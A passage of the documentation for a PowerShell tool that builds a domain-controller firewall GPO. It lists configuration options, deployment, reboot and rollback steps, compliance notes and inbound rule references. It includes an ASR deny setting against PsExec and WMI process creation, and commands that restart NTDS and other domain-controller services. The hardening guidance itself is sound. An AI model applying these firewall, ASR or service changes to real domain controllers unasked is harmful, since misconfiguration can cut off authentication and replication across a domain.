Recommended value: false
Possible values: true / false

If true, the following web server firewall rules will be enabled in the target GPO:

• World Wide Web Services (HTTP Traffic-In)
• World Wide Web Services (HTTPS Traffic-In)

If false, the web server rules will be disabled.

EnableFSRMManagement

Indicates whether inbound File Server Resource Manager (FSRM) management traffic should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, these FSRM-related firewall rules will be enabled in the target GPO:

• Remote File Server Resource Manager Management - FSRM Service (RPC-In)
• Remote File Server Resource Manager Management - FSRM Reports Service (RPC-In)

If false, the FSRM rules will be disabled.

EnablePrintSpooler

Indicates whether inbound Print Spooler traffic through RPC over TCP should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the File and Printer Sharing (Spooler Service - RPC) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableNetworkProtection

Indicates whether the Network protection feature of Microsoft Defender Antivirus should be enabled.

Type: Boolean
Required: false
Default value: null
Recommended value: true
Possible values: true / false / null

If true, MDA Network Protection will be configured in block mode.

If false, MDA Network Protection will be configured in audit mode only.

If null, MDA Network Protection will not be managed by the GPO.

BlockWmiCommandExecution

Indicates whether to block process creations originating from PSExec and WMI commands using Defender ASR.

Type: Boolean
Required: false
Default value: null
Recommended value: true
Possible values: true / false / null

This is achieved by enforcing the following Microsoft Defender Antivirus Attack Surface Reduction (ASR) rules:

• Block process creations originating from PSExec and WMI commands
• Block persistence through WMI event subscription

If true, MDA Attack Surface Reduction rules (mentioned above) will be configured in block mode.

If false, MDA Attack Surface Reduction rules (mentioned above) will be configured in audit mode only, allowing you to evaluate the possible impact if the rules were enabled in block mode.

If null, MDA Attack Surface Reduction rules will not managed by the GPO, effectively disabling the rules.

EnableRpcFilters

Indicates whether additional filtering of RPC over Named Pipes should be applied.

Type: Boolean
Required: false
Default value: null
Recommended value: true
Possible values: true / false / null

If true, RPC filters defined in the RpcNamedPipesFilters.txt file will be enabled using a startup script.

If false, any pre-existing RPC filters will be deleted using a startup script.

If null, RPC filters will not be changed by the GPO.

EnableLocalIPsecRules

Indicates whether local IPSec rules should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, local IPSec rules will be applied.

If false, only IPSec rules distributed through GPOs will be applied.

CustomRuleFileNames

Specifies the name(s) of additional script file(s) containing firewall rules that will be imported into the Group Policy Object (GPO).

Type: String[]
Required: false
Default value: null

There are several practical advantages to keeping customer-specific firewall rules in separate files:

• The main script file can easily be updated without the need to re-apply customer modifications.
• Custom rule scripts can be shared among multiple server roles. As an example, rules enabling communication with a backup agent will probably be the same for a domain controller (DC) and certification authority (CA).

Below is an excerpt from a custom rule script file that enables communication with Zabbix monitoring agents:

New-NetFirewallRule -GPOSession $GPOSession `
                    -Name 'Zabbix-In-TCP' `
                    -DisplayName 'Zabbix Agent (TCP-In)' `
                    -Group 'Zabbix Agent' `
                    -Enabled True `
                    -Profile Any `
                    -Direction Inbound `
                    -Action Allow `
                    -Protocol TCP `
                    -LocalPort 10050 `
                    -RemoteAddress $RemoteManagementAddresses `
                    -Program '%ProgramFiles%\Zabbix\zabbix_agentd.exe' `
                    -Verbose:$isVerbose > $null

See the CustomRules.Sample.ps1 sample file, which contains some additional boilerplate code and can be used as a template.

Deployment

Prerequisites

• The tool has been tested on Windows Server 2022, Windows Server 2019, and Windows 11, but it should work on all Windows versions currently supported by Microsoft.

  

• Although the script might work in PowerShell Core, it has only been tested in PowerShell Desktop.

  

• Domain Admins group membership or equivalent privileges, enabling the creation of a Group Policy Object (GPO), creation of folders and files in SYSVOL, and linking the GPO to the Domain Controllers OU.

• PowerShell modules that must be installed as part of RSAT:
  • GroupPolicy
  • ActiveDirectory
• In environments with Microsoft Advanced Group Policy Management (AGPM), all GPO changes happen outside of AGPM.

Installation

1. Download the current version of the DCFWTool to an administrative Windows computer.
2. Rename the Set-ADDSFirewallPolicy.Starter.json configuration file to Set-ADDSFirewallPolicy.json.
3. Review the available configuration options and adjust the JSON file to fit your environment.
4. In some organizations, additional firewall rules might need to be added through the CustomRuleFileNames option. Always perform a review of the default set of rules that will be deployed by the GPO and check if it is sufficient.

5. Open a Powershell terminal and run the Set-ADDSFirewallPolicy.ps1 script.

   

   The script should create a new Group Policy Object (GPO) called Domain Controller Firewall. This default name can be changed in the JSON configuration file.

   Note

   The GPO is intentionally not linked to any organizational unit (OU) by default.

6. Open the Group Policy Management Console (gpmc.msc) and review the freshly created GPO thoroughly. You might need to return to step 3 if anything does not check out.

7. Link the newly created GPO to the Domain Controllers OU.

   

8. Wait until the GPO gets replicated from the PDC Emulator to the remaining domain controllers. The DCs should then apply the new firewall configuration within 5 minutes.

9. Some settings require additional manual actions to be performed on all DCs to apply. Please refer to the System Reboots.

System Reboots

Changes to some settings require a reboot of the target domain controller to be applied. This is the with static port number configurations and settings that are modified through the startup script:

• NtdsStaticPort
• NetlogonStaticPort
• FrsStaticPort
• DfsrStaticPort
• WmiStaticPort
• EnableRpcFilters
• LogFilePath
• EnableNPS

If a full system reboot of all domain controllers is undesirable, the following steps can be performed instead:

1. Make sure that the Group Policy changes are replicated to all domain controllers.
2. Invoke the gpupdate.exe /Target:Computer command for the changed policies to be applied immediately.
3. Run the gpscript.exe /startup command for Group Policy startup scripts to be executed immediately.
4. Execute the net.exe stop NTDS && net.exe start NTDS command to restart the AD DS Domain Controller service.
5. Execute the net.exe stop IAS && net.exe start IAS command to restart the Network Policy Server service, if present.
6. Execute the net.exe stop NtFrs && net.exe start NtFrs command to restart the File Replication service if migration to DFS-R has not been performed yet.
7. Repeat steps 2 to 6 on all domain controllers.

Multi-Domain Forests

The firewall policy can be deployed to multiple AD domains at once. The recommended approach for multi-domain forests is to have multiple domain-specific JSON configuration files. Each configuration file must contain the TargetDomain setting. The optional -ConfigurationFileName script parameter can then be used to specify the JSON file to be applied:

.\Set-ADDSFirewallPolicy.ps1 -ConfigurationFileName 'DCFW.CONTOSO.json'
.\Set-ADDSFirewallPolicy.ps1 -ConfigurationFileName 'DCFW.CORP.json'

Configuration Updates

The Set-ADDSFirewallPolicy.ps1 script can be executed repeatedly. If the target GPO already exists, the script will modify it to match the configuration file instead of creating a new GPO. This behavior is especially useful if any IP addresses in the firewall rules need to be changed. Instead of modifying the firewall rules one by one, it is enough to change the corresponding JSON configuration file and execute the PowerShell script again.

The script always deletes all firewall rules in the target GPO and recreates them from scratch. This is performed as an atomic operation (transaction) to prevent the firewall policy from being in an incomplete state that could potentially result in a DoS.

Troubleshooting

Script Execution Policy

You might need to adjust your Powershell execution policy to allow execution of Set-ADDSFirewallPolicy.ps1 script:

Dropped Packets

The following PowerShell script can be used to display the Windows Firewall log file in a human-readable way:

[string] $logFilePath = "$env:SystemRoot\System32\LogFiles\Firewall\pfirewall.log"

[string[]] $columnsToShow = @('date','time','path','action','pid',
    'src-ip','src-port','dst-ip','dst-port','icmptype','icmpcode')

Get-Content -Path $LogFilePath |
    Select-Object -Skip 3 |
    ForEach-Object { $PSItem -replace '^#Fields: ' } |
    ConvertFrom-Csv -Delimiter ' ' |
    Select-Object -Property $columnsToShow |
    Out-GridView -Title 'Windows Firewall Log' -Wait

An improved version of this script is available in the Show-WindowsFirewallLog.ps1 file, which is part of the DCFWTool.

Rollback

As some of the settings are propagated through a startup script and some, even though propagated through GPO, cause tattooing, resetting the DC configuration is not as straightforward as unlinking the firewall policy GPO.

To perform an emergency rollback procedure, follow these steps:

1. Unlink the Domain Controller Firewall GPO

   Delete or unlink the firewall GPO from the Domain Controllers OU in the Group Policy Management console.

2. Wait for AD replication

   Enforce replication or wait until the AD and SYSVOL replication convergence is achieved and all DCs in the domain have received the new GPO settings.

3. Execute the rollback script

   Run the Undo-ADDSFirewallPolicy.bat in an elevated command prompt on all domain controllers in the domain.

4. Restart the DCs

   Although the script from the previous step restarts the affected services, a reboot of all domain controllers might be required for the new default settings to be applied.

Security Standards Compliance

Security Technical Implementation Guide (STIG)

The Security Technical Implementation Guide (STIG) for Microsoft Windows Defender Firewall with Advanced Security was developed and published by Defense Information Systems Agency (DISA) as a tool to improve the security of Department of Defense (DOD) information systems.

Our firewall configuration is compliant with the majority of the STIG requirements out-of-the-box. The configuration file can easily be modified to achieve full compliance. The following table of requirements corresponds to the Version 2, Release 2 of the STIG, published on November 9^th, 2023.

Center for Internet Security (CIS) Benchmark

CIS Benchmarks are created using a consensus review process comprised of a global community of subject matter experts. The process combines real-world experience with data-based information to create technology-specific guidance to assist users in securing their environments. Consensus participants provide perspectives from a diverse set of backgrounds including consulting, software development, audit and compliance, security research, operations, government, and legal.

Our firewall configuration is compliant with the majority of the CIS Microsoft Windows Server 2022 v2.0.0 L1 DC requirements out-of-the-box. The configuration file can easily be modified to achieve full compliance, with one negligible exception.

Microsoft Security Compliance Toolkit

The Security Compliance Toolkit (SCT) is a set of tools that allows enterprise security administrators to download, analyze, test, edit, and store Microsoft-recommended security configuration baselines for Windows and other Microsoft products.

Our firewall configuration is compliant with the majority of the SCT Windows Server 2022 Security Baseline requirements out-of-the-box and the configuration file can easily be modified to achieve full compliance.

Inbound Firewall Rules Reference

Microsoft’s Guidelines

There are multiple official documents available that list the ports used by Windows Server and specifically Active Directory:

• How to configure a firewall for Active Directory domains and trusts
• Service overview and network port requirements for Windows

The following table maps all the ports used by domain controllers to the corresponding Windows Firewall rules:

A handful of services that use dynamic RPC ports by default (see the table above) can be configured to use static ones through the Configuration File:

• NTDS
• Netlogon
• FRS
• DFSR

Additional firewall rules that are not DC-specific might be required to enable core networking functionality and server remote management:

Client Traffic

Active Directory Domain Controller - W32Time (NTP-UDP-In)

Active Directory Domain Controller (RPC-EPMAP)

Kerberos Key Distribution Center - PCR (UDP-In)

Kerberos Key Distribution Center - PCR (TCP-In)

Active Directory Domain Controller (RPC)

This rule enables multiple crucial RPC-based protocols, including:

• Directory Replication Service
• Netlogon Service
• Key Distribution Service

Two dynamic RPC ports are used by default, but the services can be reconfigured to use static ones.

Active Directory Domain Controller - LDAP (UDP-In)

Active Directory Domain Controller - LDAP (TCP-In)

Active Directory Domain Controller - Secure LDAP (TCP-In)

Active Directory Domain Controller - LDAP for Global Catalog (TCP-In)

Active Directory Domain Controller - Secure LDAP for Global Catalog (TCP-In)

DNS (UDP, Incoming)

DNS (TCP, Incoming)

Kerberos Key Distribution Center (TCP-In)

Kerberos Key Distribution Center (UDP-In)

Active Directory Domain Controller - SAM/LSA (NP-UDP-In)

Active Directory Domain Controller - SAM/LSA (NP-TCP-In)

Active Directory Domain Controller - Echo Request (ICMPv4-In)

Active Directory Domain Controller - Echo Request (ICMPv6-In)

Active Directory Domain Controller - NetBIOS name resolution (UDP-In)

This rule is governed by the EnableNetbiosDatagramService setting.

Core Networking - Destination Unreachable (ICMPv6-In)

Core Networking - Destination Unreachable Fragmentation Needed (ICMPv4-In)

Core Networking - Neighbor Discovery Advertisement (ICMPv6-In)

Core Networking - Neighbor Discovery Solicitation (ICMPv6-In)

Core Networking - Packet Too Big (ICMPv6-In)

Core Networking - Parameter Problem (ICMPv6-In)

Core Networking - Time Exceeded (ICMPv6-In)

File and Printer Sharing (NB-Name-In)

This rule is governed by the EnableNetbiosNameService setting.

File and Printer Sharing (NB-Session-In)

This rule is governed by the EnableNetbiosSessionService setting.

Management Traffic

Active Directory Web Services (TCP-In)

The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Windows Remote Management (HTTP-In)

This rule is governed by the EnableWindowsRemoteManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Windows Remote Management (HTTPS-In)

This custom rule is governed by the EnableWindowsRemoteManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Windows Management Instrumentation (WMI-In)

This protocol uses a dynamic RPC port by default, but it can be reconfigured to use a static one. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Remote Desktop - User Mode (UDP-In)

This rule is governed by the EnableRemoteDesktop setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Remote Desktop - User Mode (TCP-In)

This rule is governed by the EnableRemoteDesktop setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Remote Desktop (TCP-In)

This rule is governed by the EnableRemoteDesktop setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

DFS Management (TCP-In)

The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

RPC (TCP, Incoming)

The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Windows Backup (RPC)

This rule is governed by the EnableBackuManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Performance Logs and Alerts (TCP-In)

This rule is governed by the EnablePerformanceLogAccess setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

COM+ Remote Administration (DCOM-In)

This rule is governed by the EnableComPlusManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Remote Event Log Management (RPC)

This rule is governed by the EnableEventLogManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Remote Scheduled Tasks Management (RPC)

This rule is governed by the EnableScheduledTaskManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Remote Service Management (RPC)

This rule is governed by the EnableServiceManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Remote Volume Management - Virtual Disk Service (RPC)

This rule is governed by the EnableDiskManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Remote Volume Management - Virtual Disk Service Loader (RPC)

This rule is governed by the EnableDiskManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Windows Defender Firewall Remote Management (RPC)

This rule is governed by the EnableFirewallManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Replication Traffic

DFS Replication (RPC-In)

This protocol uses a dynamic RPC port by default, but it can be reconfigured to use a static one.

File Replication (RPC)

This protocol uses a dynamic RPC port by default, but it can be reconfigured to use a static one.

Additional Server Roles and Features

Server Role Co-Location

As a security best-practice, it is recommended not to deploy additional server roles on domain controller servers. Unfortunately, real-world environments do not always follow this recommendation and domain controllers often serve as branch office DHCP and RADIUS servers as well. This chapter therefore contains a list of optional firewall rules that can be enabled to support such scenarios.

For now, the following Windows Server roles and features are covered:

• Windows Internet Naming Service (WINS)
• Dynamic Host Configuration Protocol (DHCP) Server
• Network Policy Server (NPS)
• Web Server (IIS) (highly discouraged)
• Windows Deployment Services (WDS)
• Key Management Service (KMS)
• File Server Resource Manager (FSRM)
• Print Spooler (highly discouraged)
• Windows Server Update Services (WSUS)
• OpenSSH SSH Server

Windows Internet Naming Service (WINS) (TCP-In)

This rule is governed by the EnableWINS setting.

Windows Internet Naming Service (WINS) (UDP-In)

This rule is governed by the EnableWINS setting.

Windows Internet Naming Service (WINS) - Remote Management (RPC)

This rule is governed by the EnableWINS setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

DHCP Server v4 (UDP-In)

This rule is governed by the EnableDhcpServer setting.

DHCP Server v4 (UDP-In)

This rule is governed by the EnableDhcpServer setting.

DHCP Server v6 (UDP-In)

This rule is governed by the EnableDhcpServer setting.

DHCP Server v6 (UDP-In)

This rule is governed by the EnableDhcpServer setting.

DHCP Server Failover (TCP-In)

This rule is governed by the EnableDhcpServer setting.

If the DHCP server role is co-located with the domain controller role, it is highly probable that other DCs are configured in the same way. It would therefore make sense to allow DHCP failover betweeen DCs.

DHCP Server (RPC-In)

This rule is governed by the EnableDhcpServer setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Network Policy Server (Legacy RADIUS Authentication - UDP-In)

This rule is governed by the EnableNPS setting.

Network Policy Server (Legacy RADIUS Accounting - UDP-In)

This rule is governed by the EnableNPS setting.

Network Policy Server (RADIUS Authentication - UDP-In)

This rule is governed by the EnableNPS setting.

Network Policy Server (RADIUS Accounting - UDP-In)

This rule is governed by the EnableNPS setting.

Network Policy Server (RPC)

This rule is governed by the EnableNPS setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

World Wide Web Services (HTTP Traffic-In)

This rule is governed by the EnableWebServer setting.

World Wide Web Services (HTTPS Traffic-In)

This rule is governed by the EnableWebServer setting.

Windows Deployment Services (UDP-In)

This rule is governed by the EnableWDS setting.

The WDS service listens on the following UDP ports by default:

Windows Deployment Services (RPC-In)

This rule is governed by the EnableWDS setting. The WDS service uses port 5040/TCP by default.

Key Management Service (TCP-In)

This rule is governed by the EnableKMS setting.

Remote File Server Resource Manager Management - FSRM Service (RPC-In)

This rule is governed by the EnableFSRMManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

Remote File Server Resource Manager Management - FSRM Reports Service (RPC-In)

This rule is governed by the EnableFSRMManagement setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.

File and Printer Sharing (Spooler Service - RPC)

This rule is governed by the EnablePrintSpooler setting.

Windows Server Update Services (HTTP-In)

This rule is governed by the EnableWSUS setting.

Windows Server Update Services (HTTPS-In)

This rule is governed by the EnableWSUS setting.

OpenSSH SSH Server (sshd)

This rule is governed by the EnableOpenSSHServer setting. The scope of this rule can further be limited by enabling the BlockManagementFromDomainControllers setting.